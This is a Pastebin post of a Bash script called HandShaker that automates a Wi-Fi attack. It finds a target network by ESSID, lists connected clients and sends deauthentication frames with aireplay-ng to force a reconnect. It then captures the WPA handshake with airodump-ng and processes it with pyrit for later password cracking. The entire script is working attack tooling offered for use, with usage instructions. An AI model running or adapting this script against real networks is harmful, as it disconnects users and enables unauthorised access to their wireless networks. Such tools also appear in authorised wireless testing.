Advertisement
opexxx

shaker.sh

Jan 14th, 2016
185
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.72 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. fcap()
  4. {
  5.     CHKEX="0"
  6.     fgather
  7.     echo " [*] $CNT active clients found:"     
  8.     cat "$HOME"/jrifskf
  9.     read -p ' [*] Please paste clent MAC: ' CLIE
  10.     FILENAME="$BSSID""--""$RANDOM"
  11.     FILENAME2="$BSSID""-""$RANDOM"".cap"
  12.     gnome-terminal -x airodump-ng mon0 --bssid $BSSID -c $CHAN -w "$HOME"/Desktop/hs/$FILENAME --output-format pcap
  13.     aireplay-ng -0 1 -a $BSSID -c $CLIE mon0
  14.     sleep 3
  15.     while [ true ]
  16.         do
  17.             clear
  18.             read -p " [*] was the hanshake successfully captured? [Y/n]: " WASCAP
  19.             if [ $WASCAP = "n" ]
  20.                 then
  21.                     aireplay-ng -0 1 -a $BSSID -c $CLIE mon0
  22.                     sleep 4
  23.                 else
  24.                     killall airodump-ng
  25.                     break
  26.             fi
  27.         done
  28.     echo "[*] saving and stripping capture, please wait..."
  29.     pyrit -r "$HOME"/Desktop/hs/"$FILENAME"-01.cap -o "$HOME"/Desktop/hs/$FILENAME2 strip
  30.     clear
  31.     rm "$HOME"/Desktop/hs/"$FILENAME"-01.cap
  32.     airmon-ng stop mon0
  33.     rm -rf new.csv
  34.     rm -rf new2.csv
  35.     rm -rf new3.csv
  36.     rm -rf "$HOME"/filw*
  37.     rm -rf "$HOME"/jrifsk*
  38.     clear
  39.     echo " [*] Handshake saved to "$HOME"/Desktop/hs/$FILENAME2"
  40.     ISDN=$( du -b "$HOME"/Desktop/hs/$FILENAME2)
  41.     BYTS=${ISDN:0:3}
  42.     if [ $BYTS -gt 840 ]
  43.         then
  44.             echo " [*] Looks like handshake capture was successfull, Horray for you"
  45.             echo
  46.             pyrit -r "$HOME"/Desktop/hs/$FILENAME2 analyze
  47.         else
  48.             echo " [*] Looks like there may be a problem with captured handshake (capture packet too small)"
  49.             echo
  50.             pyrit -r "$HOME"/Desktop/hs/$FILENAME2 analyze
  51.     fi
  52.     exit
  53. }
  54.  
  55. fexit()
  56. {
  57.             airmon-ng stop mon0
  58.             rm -rf new.csv
  59.             rm -rf new2.csv
  60.             rm -rf new3.csv
  61.             rm -rf "$HOME"/filw*
  62.             rm -rf "$HOME"/jrifsk*
  63.             exit
  64. }
  65.  
  66. fhelp()
  67. {
  68.     clear
  69.     echo """ HandShaker - detect, deauth and capture handshakes by ESSID
  70.     Usage: handshaker x
  71.             x - Partial unique ESSID (required)
  72.  
  73.                        
  74.     eg. handshaker BTHub3-F
  75. """
  76. exit
  77. }
  78.  
  79. fgather()
  80. {
  81.     rm -rf "$HOME"/jrif*
  82.     CNT="0"
  83.     clear
  84.     echo ' [*] Please wait while I gather active stations..'
  85.     gnome-terminal  -x airodump-ng mon0 --bssid $BSSID -c $CHAN -w "$HOME"/jrifskr
  86.     sleep 7
  87.     killall airodump-ng
  88.     grep 'Station' -A 10 "$HOME"/jrifskr-01.csv > "$HOME"/jrifskp
  89.     while read LINE
  90.         do
  91.             if [ ${LINE:0:4} != "Stat" ]
  92.                 then
  93.                     echo ${LINE:0:17} >> "$HOME"/jrifskf
  94.             fi
  95.         done < "$HOME"/jrifskp
  96.     clear
  97.     while read LINE
  98.         do
  99.             case ${LINE:2:1} in
  100.             ":")CNT=$(( CNT + 1 ));;
  101.             esac
  102.         done < "$HOME"/jrifskf
  103.     if [ $CNT -lt 1 ]
  104.         then
  105.             fgather
  106.     fi
  107. }
  108.  
  109. rm -rf "$HOME"/filw*
  110. trap fexit 2
  111.  
  112. if [ $# -lt 1 ]
  113.     then
  114.         fhelp
  115. elif [ $1 = "--help" ]
  116.     then
  117.         fhelp
  118. elif [ $1 = "-h" ]
  119.     then
  120.         fhelp
  121. fi
  122.  
  123. CHKEX="1"
  124. ESSID="$1"
  125. SLP="30"
  126. SCN="10"
  127. STATSC="0"
  128. MOND=$( ifconfig | grep mon0 | cut -c 1 )
  129. mkdir -p "$HOME"/Desktop/hs
  130.  
  131. echo $MOND
  132.  
  133. if [ $MOND -z ]
  134.     then
  135.         clear
  136.         echo " [*] Which interface do you want to use?:"
  137.         echo
  138.         iwconfig | grep wlan
  139.         read -p "  :" NIC
  140.     else
  141.         NIC=mon0
  142. fi
  143.  
  144. if [ $MOND -z ]
  145.     then
  146.         airmon-ng start $NIC
  147. fi
  148. clear
  149. while [ true ]
  150.     do
  151.         gnome-terminal  -x airodump-ng mon0 -w "$HOME"/filw --output-format=csv
  152.         echo "[*] Scanning..[*]"
  153.         sleep $SCN
  154.         killall airodump-ng
  155.         DONE=$( cat "$HOME"/filw-01.csv | grep $ESSID )
  156.         if [ $DONE -z ]
  157.             then
  158.                 echo " [*] not found [*]"
  159.                 echo " [*] Sleeping $SLP seconds.."
  160.                 for (( SLP=$SLP; SLP>0; SLP--)); do
  161.                 sleep 1 &
  162.                 printf " [*] $SLP seconds remaining \r"
  163.                 wait
  164.                 done
  165.             else
  166.                 csvtool col 4,14 "$HOME"/filw-01.csv > new2.csv
  167.                 csvtool col 1,14 "$HOME"/filw-01.csv > new3.csv
  168.                
  169.                 if [ $(cat new2.csv | grep $ESSID | cut -c 2) = "," ]
  170.                     then
  171.                         CHAN=$(cat new2.csv | grep $ESSID | cut -c 1)
  172.                     else
  173.                         CHAN=$(cat new2.csv | grep $ESSID | cut -c 1-2)
  174.                 fi
  175.                 BSSID=$(cat new3.csv | grep $ESSID | cut -c 1-17)
  176.                 fcap
  177.         fi
  178.         sleep $SLP
  179.     done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement